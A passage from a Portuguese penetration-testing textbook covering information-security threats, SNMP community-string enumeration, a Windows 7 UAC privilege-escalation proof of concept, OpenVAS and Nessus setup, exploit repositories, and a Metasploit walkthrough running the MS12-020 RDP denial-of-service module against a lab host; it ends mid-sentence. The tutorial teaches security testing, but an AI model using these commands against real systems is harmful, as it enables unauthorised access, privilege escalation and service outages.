ser</p><p>classificadas em físicas e lógicas.</p><p>• Ameaças físicas incluem todo e qualquer processo de</p><p>natureza física que possa comprometer os princípios</p><p>da segurança da informação. Exemplos: alagamentos,</p><p>tempestades, furacões, raios, desabamentos etc.</p><p>• Ameaças lógicas incluem todo e qualquer processo de</p><p>natureza lógica que possa comprometer os princípios</p><p>da segurança da informação. Exemplos: vírus, ataques</p><p>de quebra de senhas, escuta de dados (sniffers) etc.</p><p>Visando diminuir as ameaças, há uma série de</p><p>mecanismos de segurança que podem ser utilizados de</p><p>acordo com o tipo de ameaça encontrada, por exemplo:</p><p>a adoção de chaves, fechaduras e câmeras, e localização</p><p>geográfica favorável (sem terremotos, tremores e/ou</p><p>desastres naturais), para ameaças físicas; e sistema de</p><p>criptografia, antivírus, firewall, conscientização dos</p><p>funcionários sobre perigos e fraudes digitais, para</p><p>ameaças lógicas.</p><p>Além dos sistemas citados, há diversos serviços</p><p>relacionados à segurança da informação com o intuito de</p><p>mitigar as ameaças às quais as redes corporativas estão</p><p>expostas diariamente. Alguns serviços que valem a pena</p><p>ser citados são a análise de vulnerabilidade, a perícia</p><p>forense, a adoção de políticas de segurança (Normas</p><p>ISO) e o teste de intrusão (pentest).</p><p>Antes de entrarmos no assunto de pentest, vale a pena</p><p>citar os principais meios para mitigar as ameaças</p><p>digitais.</p><p>• Análise forense – Consiste em utilizar técnicas para</p><p>rastrear o atacante. Lembre-se de que: uma invasão</p><p>sempre vai gerar rastros. Então, por meio da análise</p><p>forense, é possível rastrear o atacante.</p><p>• Hardening – Consiste na implementação de</p><p>máquinas seguras. Por exemplo, por meio do</p><p>hardening, módulos conhecidamente vulneráveis são</p><p>desabilitados, e uma análise é realizada para</p><p>constatar se aquele servidor utiliza nomes de usuários</p><p>e senhas (credenciais) padrões de fábrica etc. O</p><p>intuito do hardening é tornar uma máquina mais</p><p>segura e mais difícil de ser invadida. Lembre-se de</p><p>que: não existe servidor 100% seguro, mas o trabalho</p><p>do hardening é dificultar ao máximo a atuação de</p><p>criminosos digitais.</p><p>• Revisão do código-fonte – Muito parecida com o</p><p>hardening, a ideia da revisão do código-fonte é</p><p>garantir segurança ao código-fonte da aplicação. A</p><p>revisão do código-fonte pode ser realizada em</p><p>plataforma web (como revisar o código-fonte de uma</p><p>página PHP) ou mesmo em aplicativos (como revisar o</p><p>código-fonte de um aplicativo executável). Na maioria</p><p>dos casos, quando um aplicativo necessita ter seu</p><p>código-fonte revisado (como um aplicativo</p><p>executável), o código-fonte não é fornecido ao auditor.</p><p>• Desenvolvimento de exploits comerciais –</p><p>Exploits são programas que exploram falhas em outros</p><p>softwares. Com o intuito de testar a segurança de uma</p><p>aplicação, o exploit atua como uma prova de conceito</p><p>de que a vulnerabilidade existe e pode ser explorada.</p><p>Há exploits que causam paralisação do serviço ou, até</p><p>mesmo, garantem o acesso ao sistema operacional do</p><p>alvo. Exploits serão explicados no decorrer do livro.</p><p>• Análise e detecção de intruso – Consiste apenas</p><p>no monitoramento da rede em busca de possíveis</p><p>intrusos. Diferentemente do hardening e do pentest, a</p><p>análise apenas faz o monitoramento da rede. Caso</p><p>exista algum atacante, todas as suas atividades e</p><p>passos serão registrados.</p><p>• Normas ISO – As normas ISO têm como objetivo</p><p>garantir padrões e qualidade para uma melhor gestão</p><p>e administração do negócio. Algumas das normas</p><p>voltadas à segurança da informação são:</p><p>• BS779-2 – Norma antiga relacionada a práticas de</p><p>gerenciamento da segurança da informação.</p><p>Substituída pela ISO 27001.</p><p>• ISO 27001 – Norma mais atual que substituiu a</p><p>norma BS7799-2 e está relacionada a padrões da</p><p>segurança da informação.</p><p>• ISO 27002 – Código de boas práticas que substituiu</p><p>a norma ISO 17799:2005.</p><p>• ISO 27003 – Diretrizes para implementar políticas</p><p>para gestão de segurança da informação.</p><p>• ISO 27004 – Práticas para relatórios.</p><p>• ISO 27005 – Práticas para sistema de controle.</p><p>• ISO 27006 – Práticas para requisitos.</p><p>• Análise de vulnerabilidades – A análise de</p><p>Os gerentes mais conhecidos</p><p>são: OpenView, UniCenter, OpenNMS e MRTG.12</p><p>A principal vulnerabilidade do SNMP gira em torno da</p><p>descoberta da senha da comunidade (uma espécie de</p><p>autenticação realizada pelo SNMP), ou seja, quem possui</p><p>a senha da comunidade consegue autenticar-se no</p><p>agente SNMP e obter os dados SNMP. O pior problema é a</p><p>escolha dessa senha, que normalmente é fácil de</p><p>adivinhar ou, ainda, na maioria das vezes, os</p><p>administradores utilizam a senha “public”. Vamos então</p><p>instalar o software agente no servidor Debian e definir a</p><p>senha public para explorarmos essa falha.</p><p>• Para instalar o software agente no servidor Debian:</p><p>root@debian# apt-get install snmpd</p><p>O arquivo /etc/snmp/snmpd.conf deve ficar com o</p><p>seguinte conteúdo:</p><p>com2seclocallocalhostprivate</p><p>com2secmynet192.168.1.0/24public</p><p>com2secpublicdefaultpublic</p><p>group mygroupv1mynet</p><p>group mygroupv2cmynet</p><p>group localv1local</p><p>group localv2clocal</p><p>group publicv1public</p><p>group publicv2cpublic</p><p>view allincluded.180</p><p>access mygroup "" any noauth 0 all none none</p><p>access public "" any noauth 0 all none none</p><p>access local "" any noauth 0 all all all</p><p>syslocation Unknown (edit /etc/snmp/snmpd.conf)</p><p>syscontact Root (configure</p><p>/etc/snmp/snmp.local.conf)</p><p>Reinicialize o serviço de SNMP:</p><p>root@debian# service snmpd stop</p><p>root@debian# service snmpd start</p><p>7.6.1 SNMPcheck</p><p>Utilizado para mapeamento de SNMP:</p><p>root@kali# snmpcheck –t 192.168.1.102</p><p>7.6.2 OneSixtyOne</p><p>Outra opção para mapeamento SNMP. O OneSixtyOne</p><p>permite varredura sobre uma rede inteira, utilizar um</p><p>arquivo para determinar a senha da comunidade etc.</p><p>Opções:</p><p>-c senhas Arquivo contendo as prováveis senhas da comunidade.</p><p>-i máquinas Arquivo com as máquinas a serem testadas.</p><p>Exemplos de uso:</p><p>root@kali# onesixtyone 192.168.1.102 public</p><p>root@kali# onesixtyone -c senhas 192.168.1.102</p><p>root@kali# onesixtyone -c senhas -i maquinas</p><p>1 VoIP é acrônimo para Voz sobre IP. É um protocolo que permite a</p><p>transmissão da voz humana pela internet. Com o VoIP é possível fazer</p><p>chamadas telefônicas pela internet. Chamadas de VoIP para VoIP são</p><p>gratuitas, chamadas de VoIP para telefones fixos ou móveis são pagas. Um</p><p>exemplo de programa VoIP é o Skype.</p><p>2 Para esse laboratório é necessário o servidor EasyFTP v.7.0.11 (permite</p><p>por natureza ataques de FTP Bounce), encontrado em http://www.exploit-</p><p>db.com/exploits/14402/.</p><p>CAPÍTULO 8</p><p>Mapeamento de</p><p>vulnerabilidades</p><p>Mapeamento de vulnerabilidades consiste na</p><p>identificação e análise das possíveis vulnerabilidades.</p><p>Uma vez que as etapas de coleta de informação,</p><p>descobrimento, enumeração dos alvos, serviços e portas</p><p>foram efetuados, está na hora de investigar as possíveis</p><p>vulnerabilidades que existem no alvo que poderão</p><p>comprometer toda a rede em questão.</p><p>É importante notar a diferença entre o teste manual e o</p><p>teste com ferramentas automatizadas. Muitas vezes o</p><p>teste com ferramentas automatizadas produz resultados</p><p>falsos positivos, além de poder falhar em alguns casos,</p><p>como a determinação de erros lógicos (SQL Injection,</p><p>XSS) e vulnerabilidades não abertas ao conhecimento</p><p>público (por exemplo: o auditor pode descobrir um Code</p><p>Execution em um software e desenvolver um exploit</p><p>específico). Desse modo é importante o auditor ter</p><p>conhecimento tanto do uso de ferramentas</p><p>automatizadas como do teste manual.</p><p>8.1 Tipos de vulnerabilidades</p><p>É importante entender e estudar a classificação de</p><p>vulnerabilidades que existem antes de começar a utilizar</p><p>as ferramentas que detectam falhas. Este livro não tem</p><p>como objetivo apresentar e nem descrever os diversos</p><p>tipos de falhas que um sistema apresenta: Buffer</p><p>Overflow, Race Condition, Stack Overflow, Remote Code</p><p>Execution etc. O estudo sobre esses tipos de falhas é</p><p>extremamente avançado e requer um conhecimento</p><p>elevado sobre programação, linguagens de baixo nível e</p><p>sistema operacional. Vamos tratar as vulnerabilidades de</p><p>maneira mais simplória (o suficiente para realização de</p><p>um pentest). As vulnerabilidades podem ser classificadas</p><p>em dois tipos: local e remota.</p><p>8.1.1 Vulnerabilidade local</p><p>A vulnerabilidade é explorada de maneira local. É</p><p>necessário que o exploit seja executado localmente na</p><p>máquina alvo. Normalmente esse tipo de vulnerabilidade</p><p>é executada com o objetivo de aumentar o privilégio de</p><p>acesso.</p><p>Por exemplo: o usuário A tem acesso limitado à sua</p><p>máquina e, de alguma forma, ele deseja aumentar o seu</p><p>nível de acesso para administrador. Uma maneira de se</p><p>fazer isso é executando um exploit.</p><p>Outro exemplo é o usuário executar localmente um</p><p>arquivo Microsoft Office malicioso.</p><p>Windows UAC bypass</p><p>Há uma vulnerabilidade no Kernel do Windows que</p><p>permite que usuários locais consigam o acesso de</p><p>autoridade (usuário nt authority\System) na máquina.</p><p>O UAC (User Account Control) é um sistema de controle</p><p>implementado desde o Windows Vista, que impede que</p><p>usuários com poucos privilégios façam alterações de alto</p><p>risco no Windows, como instalar um programa ou acessar</p><p>diretórios sem a devida permissão. O sistema UAC é</p><p>mostrado na figura 8.1.</p><p>Figura 8.1 – Sistema UAC.</p><p>O sistema testado é um Windows 7 sp0 32bits.</p><p>Crie um usuário com poucos privilégios e acesse o</p><p>sistema no nome dele.</p><p>O exploit encontra-se no endereço http://www.exploit-</p><p>db.com/sploits/uacpoc.zip.</p><p>Baixe o exploit e execute-o no Windows. Veja o seu</p><p>privilégio sendo escalonado de um usuário restrito para o</p><p>usuário nt authority\system.</p><p>C:\ whoami</p><p>pc-pc\restrito</p><p>C:\ poc.exe</p><p>C:\ whoami</p><p>nt authority\system</p><p>8.1.2 Vulnerabilidade remota</p><p>A vulnerabilidade é explorada de maneira remota. O</p><p>exploit não necessita ser executado localmente na</p><p>máquina alvo, ele pode ser executado na máquina do</p><p>atacante e remotamente consegue acesso à estação.</p><p>Por exemplo, o usuário A tem o Windows XP com o</p><p>compartilhamento de arquivos ativo. Existe uma</p><p>vulnerabilidade para esse serviço (MS08_067netapi)</p><p>possibilitando o acesso remoto à estação.</p><p>8.2 Scanners de vulnerabilidade</p><p>O scanner de vulnerabilidade realizará a varredura de</p><p>vulnerabilidades remotas. Há diversos scanners e alguns</p><p>até específicos para se determinar falhas sobre</p><p>determinado serviço, como o wpscan (scanner para o</p><p>Wordpress) e o w3af (scanner para websites). Porém</p><p>serão abordados dois scanners mais genéricos para</p><p>realizar a varredura: o OpenVAS e o Nessus.</p><p>8.2.1 OpenVAS</p><p>O OpenVAS é uma plataforma poderosa para análise e</p><p>levantamento de vulnerabilidades. Desenvolvido na</p><p>arquitetura cliente/servidor, o OpenVAS permite que o</p><p>cliente faça o pedido ao servidor que realiza o</p><p>escaneamento. Por meio do OpenVAS é possível</p><p>determinar vulnerabilidades remotas.</p><p>Primeiro, ative o protocolo RDP no Windows 7 clicando</p><p>nas Propriedades do computador e depois na aba</p><p>Remoto, e marque a opção Permitir ligações de</p><p>computadores com qualquer versão do Ambiente de</p><p>Trabalho (menos seguro) (Figuras 8.2 e 8.3).</p><p>Até o momento em que este livro estava sendo escrito, o</p><p>OpenVAS encontrava-se na versão 8 (beta), porém o Kali</p><p>Linux por padrão possui a versão 7 instalada. Por algum</p><p>motivo, o OpenVAS do Kali Linux não possui todos os</p><p>módulos necessários para o seu correto funcionamento</p><p>(como o openvasad).</p><p>Vamos então realizar o download e instalação da versão</p><p>6 do OpenVAS (um pouco mais antiga, porém mais</p><p>estável para o sistema operacional Debian). No site</p><p>oficial do OpenVAS www.openvas.org, a lista de</p><p>downloads para os binários</p><p>(http://download.opensuse.org/repositories/security:/Ope</p><p>nVAS:/UNSTABLE:/) encontra-se na versão 7 para o</p><p>OpenSUSE 13.1. Para o Debian, a versão 6 é a última (em</p><p>binário) para download. Porém nada impede o leitor de</p><p>tentar realizar a instalação da versão 7 ou 8 a partir do</p><p>seu código-fonte.</p><p>Figura 8.2 – Ativação do RDP por meio das propriedades</p><p>do computador.</p><p>Figura 8.3 – Permitindo o ambiente de trabalho remoto</p><p>menos seguro.</p><p>Primeiro, certifique-se de que o arquivo</p><p>/etc/apt/sources.list</p><p>apresenta os corretos diretórios para</p><p>download de pacotes (http://docs.kali.org/general-</p><p>use/kali-linux-sources-list-repositories):</p><p>deb http://old.kali.org/kali moto main non-free contrib</p><p>deb-src http://old.kali.org/kali moto main non-free contrib</p><p>Baseando-se nas orientações fornecidas pelo</p><p>www.openvas.org, para realizar a instalação da versão 6,</p><p>primeiro realize no Kali Linux os seguintes procedimentos</p><p>para adicionar o repositório do OpenVAS 6:</p><p>root@kali# echo "deb</p><p>http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/</p><p>v6/Debian_7.0/ ./" >> /etc/apt/sources.list</p><p>root@kali# wget</p><p>http://download.opensuse.org/repositories/security:/OpenVAS:/UNSTABLE:/</p><p>v6/Debian_7.0/Release.key</p><p>root@kali# apt-key add ./Release.key</p><p>Assim, o banco de dados do Kali Linux está OK, atualize-</p><p>o:</p><p>root@kali# apt-get update</p><p>Instale as bibliotecas responsáveis pelo OpenVAS 6 (esse</p><p>procedimento desinstala o OpenVAS 7):</p><p>root@kali# apt-get install libopenvas6</p><p>Os seguintes programas são necessários:</p><p>root@kali# apt-get -y install greenbone-security-assistant openvas-cli</p><p>openvas-manager openvas-scanner openvas-administrator sqlite3 xsltproc</p><p>rsync</p><p>Instale os seguintes programas para geração de relatório:</p><p>root@kali# apt-get -y install texlive-latex-base texlive-latex-extra texlive-</p><p>latex-recommended htmldoc</p><p>Como o OpenVAS é destinado a sistemas operacionais</p><p>como o CentOS e derivados, os seguintes programas</p><p>devem ser instalados para a correta manipulação dos</p><p>pacotes no Debian (e derivados como o Kali Linux).</p><p>root@kali# apt-get -y install alien rpm nsis fakeroot</p><p>Gere o certificado SSL:</p><p>root@kali# test -e /var/lib/openvas/CA/cacert.pem|| openvas-mkcert -q</p><p>Atualize o banco de dados de vulnerabilidades:</p><p>root@kali# openvas-nvt-sync</p><p>É necessário criar um certificado para o usuário om do</p><p>OpenVAS:</p><p>root@kali# test -e /var/lib/openvas/users/om || openvas-mkcert-client -n</p><p>om -i</p><p>Antes de continuarmos, os serviços do OpenVAS devem</p><p>ser finalizados:</p><p>root@kali# /etc/init.d/openvas-manager stop</p><p>root@kali# /etc/init.d/openvas-scanner stop</p><p>A próxima etapa é inicializarmos o serviço openvasad</p><p>que fará o download e sincronização das vulnerabilidades</p><p>do banco de dados (essa etapa pode ser extremamente</p><p>lenta):</p><p>root@kali# openvassd</p><p>Refaça a base de dados:</p><p>root@kali# openvasmd --rebuild</p><p>É necessário atualizar o protocolo SCAP (essa etapa pode</p><p>ser extremamente lenta):</p><p>root@kali# openvas-scapdata-sync</p><p>Atualize também o certdata:</p><p>root@kali# openvas-certdata-sync</p><p>Na primeira vez que esse comando é executado, o</p><p>seguinte erro é mostrado:</p><p>Error: no such table: meta.</p><p>Isso ocorre pelo fato de estarmos importando um pacote</p><p>de sistemas como o CentOS, e pelo fato de a tabela meta</p><p>não ter sido criada pelo Kali Linux. Assim, devemos</p><p>realizar o download das dependências necessárias para</p><p>criação da tabela meta. No momento em que este livro</p><p>estava sendo escrito, no repositório do Atomicorp</p><p>(http://www6.atomicorp.com/channels/atomic/fedora/18/i</p><p>386/RPMS/), a dependência openvas-manager,</p><p>encontrava-se na versão 5.0.8-27. Realize o seu</p><p>download.</p><p>root@kali# cd</p><p>root@kali# wget</p><p>http://www6.atomicorp.com/channels/atomic/fedora/18/i386/RPMS/openva</p><p>s-manager-5.0.8-27.fc18.art.i686.rpm</p><p>Extraia os arquivos do pacote RPM:</p><p>root@kali# rpm2cpio openvas-manager-5.0.8-27.fc18.art.i686.rpm | cpio</p><p>-div</p><p>Será gerada a pasta /root/usr/share/openvas/cert/. Copie</p><p>o seu conteúdo:</p><p>root@kali# mkdir /usr/share/openvas/cert</p><p>root@kali# cp /root/usr/share/openvas/cert/* /usr/share/openvas/cert</p><p>Refaça o certdata:</p><p>root@kali# openvas-certdata-sync</p><p>É necessário criar o usuário admin com uma senha de</p><p>acesso para o OpenVAS:</p><p>root@kali# test -e /var/lib/openvas/users/admin || openvasad -c add_user</p><p>-n admin -r Admin</p><p>Os usuários criados podem ser confirmados com:</p><p>root@kali# openvasad -c list_users</p><p>Se a senha do usuário admin for esquecida, o usuário</p><p>admin poderá ser removido e criado novamente:</p><p>root@kali# openvasad -c remove_user -u admin</p><p>root@kali# test -e /var/lib/openvas/users/admin || openvasad -c add_user</p><p>-n admin -r Admin</p><p>É necessário finalizar o OpenVAS (processo antigo):</p><p>root@kali# killall openvassd</p><p>O que vai demorar em torno de 15 segundos. Certifique-</p><p>se de que o processo foi finalizado:</p><p>root@kali# ps aux | grep openvassd | grep -v grep</p><p>Caso não apareça nada na tela, então está tudo ok e o</p><p>OpenVAS pode ser inicializado:</p><p>root@kali# /etc/init.d/openvas-scanner start</p><p>root@kali# /etc/init.d/openvas-administrator restart</p><p>root@kali# /etc/init.d/greenbone-security-assistant restart</p><p>root@kali# /etc/init.d/openvas-manager start</p><p>Nota: às vezes o openvas-manager não inicia, mostrando uma</p><p>mensagem de erro. Reinicie todos os serviços do OpenVAS para</p><p>solucionar o problema.</p><p>Pelo navegador, acesse o endereço</p><p>https://localhost:9392/; instale os certificados digitais e</p><p>inicie o OpenVAS com o usuário admin e a sua respectiva</p><p>senha.</p><p>Após ter logado no sistema, a tela inicial do OpenVAS é</p><p>mostrada na figura 8.4.</p><p>Figura 8.4 – Tela inicial do OpenVAS.</p><p>Para realizar um escaneamento simples, digite o IP do</p><p>alvo e depois clique no botão Start Scan (Figura 8.5).</p><p>Figura 8.5 – Varrendo o Windows.</p><p>No botão de lupa, detalhes sobre a varredura são</p><p>exibidos (Figura 8.6).</p><p>Figura 8.6 – Detalhes da varredura.</p><p>Enquanto a varredura é realizada, mais detalhes sobre as</p><p>vulnerabilidades do alvo podem ser obtidos no botão de</p><p>lupa (Figura 8.7).</p><p>Figura 8.7 – Detalhes sobre as vulnerabilidades.</p><p>O OpenVAS não atualiza o status do scanning, faça-o</p><p>manualmente (Figura 8.8).</p><p>No final, um relatório PDF pode ser gerado pelo OpenVAS</p><p>(Figura 8.9).</p><p>A opção Scan Management > Tasks mostra todos os</p><p>scans em progresso e que já foram realizados (Figura</p><p>8.10).</p><p>Figura 8.8 – Atualizando o scanning.</p><p>Figura 8.9 – Gerando um relatório do OpenVAS.</p><p>Figura 8.10 – Tarefas (scan) em execução e/ou</p><p>executadas.</p><p>Para realizar um scan mais detalhado (um teste mais</p><p>demorado porém mais profundo), vá para a opção</p><p>Configuration > Targets (Figura 8.11).</p><p>Figura 8.11 – Realizando um scan mais detalhado.</p><p>Vão aparecer os alvos que já foram escaneados, crie um</p><p>novo alvo no botão de estrela (Figura 8.12).</p><p>Figura 8.12 – Criando um novo alvo.</p><p>Insira as informações necessárias sobre o seu alvo, como</p><p>um nome de identificação e o seu endereço IP (Figura</p><p>8.13).</p><p>Figura 8.13 – Inserindo as informações do novo alvo.</p><p>Uma vez com a configuração do scan ok, crie-o pela</p><p>opção Scan Management > New Task (Figura 8.14).</p><p>Figura 8.14 – Criando uma nova tarefa (scan).</p><p>Insira as informações do Debian: Em Name, defina o</p><p>nome do scan. Em Scan Config, selecione o modo que</p><p>será realizado o scan (extremamente rápido, porém</p><p>pouco detalhado; normal; extremamente lento, porém</p><p>bem detalhado etc). Em Scan Targets, selecione o profile</p><p>correspondente ao novo scanning (Figura 8.15).</p><p>Figura 8.15 – Selecionando corretamente o novo alvo a</p><p>ser escaneado.</p><p>Por último, o scanning foi criado, podendo ser inicializado</p><p>no botão de Play (Figura 8.16).</p><p>Figura 8.16 – Inicilizando o novo scanning.</p><p>8.2.2 Nessus</p><p>O Nessus é um excelente scanner de vulnerabilidade.</p><p>Apresenta versões Home e Enterprise. Diferentemente do</p><p>OpenVAS, tem versões pagas e gratuitas, sendo Home a</p><p>versão gratuita.</p><p>• Realize o download do Nessus em</p><p>http://www.tenable.com/products/nessus/select-your-</p><p>operating-system.</p><p>• Instale o Nessus:</p><p>root@kali# cd /root/Downloads</p><p>root@kali# dpkg –i Nessus-6.3.3-debian6_i386.deb</p><p>• Inicie o servidor Nessus:</p><p>root@kali# /etc/init.d/nessusd start</p><p>• Acesse o Nessus no navegador:</p><p>https://127.0.0.1:8834/</p><p>Na primeira instalação, crie um usuário que fará o acesso</p><p>ao Nessus (Figura 8.17).</p><p>Na primeira instalação, será pedido o código de registro</p><p>do Nessus</p><p>(http://www.tenable.com/products/nessus/nessus-</p><p>plugins/obtain-an-activation-code). Faça todo o registro</p><p>conforme é instruído pelo próprio Nessus.</p><p>Figura 8.17 – Criando um usuário para o Nessus.</p><p>Com o Nessus instalado, atualize os plugins:</p><p>root@kali# /opt/nessus/sbin/nessuscli</p><p>update --all</p><p>Ao ser iniciado, insira o nome de usuário e senhas que</p><p>foram criados para acessar o Nessus (Figura 8.18).</p><p>Figura 8.18 – Inserindo os dados no Nessus.</p><p>Para realizar um scan, selecione a aba Scan > New Scan</p><p>(Figura 8.19).</p><p>Figura 8.19 – Criando um novo scan.</p><p>O Nessus tem diversos tipos de política, como scanner</p><p>básico de redes, detecção de malware para Windows,</p><p>scan sobre a vulnerabilidade Shellshock e outros.</p><p>Será realizado o scan básico (Figura 8.20).</p><p>Figura 8.20 – Selecione o scan básico de vulnerabilidades</p><p>(Basic Network Scan).</p><p>Defina o nome do scan, faça uma pequena descrição e</p><p>informe o IP a ser testado, conforme mostra a figura</p><p>8.21.</p><p>Figura 8.21 – Parâmetros básicos para a criação da</p><p>política.</p><p>O scan já é iniciado (Figura 8.22).</p><p>Figura 8.22 – Scanning sendo realizado.</p><p>No término do scan, um arquivo PDF pode ser exportado</p><p>(Figura 8.23).</p><p>Figura 8.23 – Gerando um arquivo PDF.</p><p>CAPÍTULO 9</p><p>Exploração do alvo</p><p>Uma vez realizadas as etapas de coleta de informações,</p><p>descobertas nos computadores e versões dos serviços</p><p>que estão rodando, e feito o mapeamento de</p><p>vulnerabilidades, o próximo passo é a exploração do</p><p>alvo.</p><p>A exploração do alvo é o ato de “invadir” a máquina com</p><p>exploits (programas que exploram falhas em outros</p><p>programas); utilizando o exploit correto, o acesso ao</p><p>terminal de comandos do sistema (shell) é fornecido ao</p><p>atacante.</p><p>A exploração ocorre de duas formas: pela engenharia</p><p>social (o sistema não precisa ter vulnerabilidades para</p><p>conseguirmos o acesso) ou por falhas de softwares (o</p><p>sistema utiliza uma versão antiga ou vulnerável de</p><p>software que permite o acesso ao shell do sistema).</p><p>A escrita de exploits é uma tarefa que requer muito</p><p>tempo, detalhe e conhecimento profundo sobre sistemas</p><p>operacionais e linguagens de programação, fugindo</p><p>totalmente do escopo do livro. Em vez disso, utilizaremos</p><p>exploits públicos, que já foram descobertos e divulgados</p><p>(sua utilização costuma ser simples). Normalmente já</p><p>existem correções para esses exploits, mas mesmo assim</p><p>o sistema auditado pode estar desatualizado e</p><p>vulnerável.</p><p>Esses exploits ficaram espalhados na rede por muitos</p><p>anos, necessitando “ciscar” a internet para encontrá-los</p><p>em algum site (diga-se de passagem com origem muito</p><p>duvidosa). Hoje, buscar exploits tornou-se uma tarefa</p><p>bem mais fácil, pois eles encontram-se em repositórios</p><p>específicos (de origem confiável).</p><p>É importante notar que nem toda falha descoberta tem o</p><p>exploit feito ou liberado ao público. Muitas falhas são</p><p>lançadas sem o seu exploit ou são lançadas versões</p><p>comerciais e pagas da cópia desses exploits. A empresa</p><p>VUPEN (http://www.vupen.com) é um exemplo de uma</p><p>empresa comercial que tem exploits pagos.</p><p>Principais repositórios de exploits:</p><p>• http://packetstormsecurity.com/</p><p>• http://www.exploit-db.com/</p><p>• http://osvdb.org/</p><p>• http://www.1337day.com/</p><p>• http://www.securityfocus.com/</p><p>• http://www.securiteam.com/</p><p>• http://www.intelligentexploit.com/</p><p>• http://www.vupen.com/english/</p><p>• http://www.kb.cert.org/vuls</p><p>9.1 Metasploit</p><p>Ferramenta desenvolvida pelo hacker HD Moore; com</p><p>certeza é uma das melhores opções quando o assunto é</p><p>o desenvolvimento e utilização de exploits.</p><p>A arquitetura do Metasploit é divida em três categorias:</p><p>bibliotecas, interfaces e módulos. As interfaces (console,</p><p>GUI e web) fornecem um meio de interagirmos com os</p><p>seus módulos (Exploit, payload, auxiliares, encoders</p><p>etc.).</p><p>Alguns conceitos básicos sobre os módulos do Metasploit</p><p>devem ser entendidos.</p><p>• Exploit – É a prova de conceito de que a</p><p>vulnerabilidade existe. Com ele é possível explorar a</p><p>vulnerabilidade no software afetado, ganhando acesso</p><p>antes não permitido.</p><p>• Payload – É um código malicioso que faz parte do</p><p>exploit (ou compilado independentemente) que</p><p>executa comandos arbitrários no sistema alvo. O</p><p>payload estabelece um canal de comunicação entre o</p><p>atacante e o alvo. Com o payload é possível, por</p><p>exemplo, obter o controle da Shell do sistema.</p><p>• Shellcode – É um código malicioso que faz parte do</p><p>exploit que tem como missão injetar códigos no</p><p>sistema alvo, causando, dessa forma, o buffer</p><p>overflow ou estouro de pilha. Normalmente o</p><p>shellcode vem acompanhado do payload. Pois uma</p><p>vez que o buffer overflow seja feito por meio do</p><p>shellcode, será necessária a injeção de um código</p><p>malicioso que permita, por exemplo, obter o controle</p><p>do shell do sistema. O shellcode é o que de fato</p><p>explora a vulnerabilidade.</p><p>• Módulos auxiliares – Conjunto de ferramentas que</p><p>foram desenvolvidas para tarefas auxiliares na</p><p>exploração do sistema alvo. Por exemplo: port</p><p>scanner, sniffing, ferramentas de negação de serviço</p><p>etc.</p><p>• Encoders – Ferramentas que foram desenvolvidas</p><p>com o intuito de burlar sistemas de antivírus, firewall,</p><p>IDS, ou ferramentas anti-malware.</p><p>Há diversas interfaces para o uso do Metasploit, como o</p><p>Msfconsole, Msfcli, Armitage e outros. Porém vamos nos</p><p>deter ao Msfconsole, uma interface simples em linha de</p><p>comando que não deixa nada a desejar.</p><p>9.1.1 Msfconsole</p><p>O Msfconsole é a mais popular dentre as interfaces do</p><p>Metasploit para utilizar. E será o foco do livro tratar</p><p>apenas dessa interface, devido à sua simplicidade e</p><p>“poder de fogo”. Para começar a utilização do Metasploit,</p><p>inicie o servidor de banco de dados PostgreSQL</p><p>(necessário, pois a busca por exploits no banco de dados</p><p>será mais ágil).</p><p>root@kali# service postgresql start</p><p>Inicie o Msfconfole:</p><p>root@kali# msfconsole</p><p>Atualize sempre a base de dados de exploits do</p><p>Metasploit:</p><p>root@kali# msfupdate</p><p>9.1.2 Comandos básicos</p><p>Uma vez inicializada a interface do Metasploit, o</p><p>comando help exibe uma tela de ajuda sobre quais</p><p>comandos podem ser digitados.</p><p>msf > help</p><p>Caso necessite procurar algum exploit, digite search</p><p>exploit:</p><p>msf > search ms12_020</p><p>Matching Modules</p><p>================</p><p>NameDisclosure DateRankDescription</p><p>----------------------------------</p><p>auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal</p><p>MS12-020 Microsoft Remote Desktop Use-After-Free DoS</p><p>auxiliary/scanner/rdp/ms12_020_check normal MS12-020 Microsoft</p><p>Remote Desktop Checker</p><p>msf ></p><p>Para utilizar o exploit, digite use exploit; vamos então</p><p>utilizar o exploit</p><p>auxiliary/dos/windows/rdp/ms12_020_maxchannelids:</p><p>msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids</p><p>msf auxiliary(ms12_020_maxchannelids) ></p><p>A interface do Metasploit foi alterada de msf > para msf</p><p>auxilary(ms12_020_maxchannelids) >, indicando que</p><p>estamos usando o exploit ms12_020_maxchannelids.</p><p>9.2 A vulnerabilidade MS12-020-</p><p>maxchannelids</p><p>Antes de fato explorar a vulnerabilidade do EasyFTP</p><p>(vulnerabilidade que dará acesso ao sistema), será</p><p>utilizado um módulo auxiliar do Metasploit para negação</p><p>de serviço. Ou seja, a máquina será “paralisada”.</p><p>O protocolo RDP do Windows 7 sofre de uma</p><p>vulnerabilidade que quando enviado o shellcode correto,</p><p>a máquina trava o seu funcionamento, e é forçada a sua</p><p>reinicialização, gerando a negação de serviço.</p><p>Para explorar a falha ms12_020_maxchannelids, o leitor</p><p>deve configurar o RDP do Windows. Mais informações</p><p>sobre a configuração do RDP podem ser obtidas no</p><p>tópico 8.2.1, “OpenVAS”.</p><p>Uma vez feito o levantamento das vulnerabilidades no</p><p>Windows 7, o OpenVAS nos informa que a porta 3389</p><p>(RDP) está aberta, e que está rodando um serviço</p><p>vulnerável. A vulnerabilidade foi informada pela Microsoft</p><p>como sendo MS12-020.</p><p>Uma vez selecionado o exploit com os passos anteriores,</p><p>vamos ver as informações dele:</p><p>msf auxiliary(ms12_020_maxchannelids) > info</p><p>Vamos ver as suas opções básicas de configuração:</p><p>msf auxiliary(ms12_020_maxchannelids) > show options</p><p>Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):</p><p>Name Current Setting Required Description</p><p>---- --------------- -------- -----------</p><p>RHOSTyes The target address</p><p>RPORT3389yes The target port</p><p>msf auxiliary(ms12_020_maxchannelids) ></p><p>As opções marcadas como requeridas (campo Required</p><p>yes) são obrigatórias para</p><p>a configuração do exploit. Para</p><p>esse exploit específico, somente o campo RHOST deve</p><p>ser marcado (o campo RPORT também, mas o Metasploit</p><p>já pré-configurou o exploit para que atue na porta 3389 –</p><p>porta padrão do RDP).</p><p>• Vamos configurar o exploit:</p><p>msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.1.101</p><p>• Vamos ver as suas opções avançadas:</p><p>msf auxiliary(ms12_020_maxchannelids) > show advanced</p><p>• Vamos utilizar o exploit:</p><p>msf auxiliary(ms12_020_maxchannelids) > exploit</p><p>E, 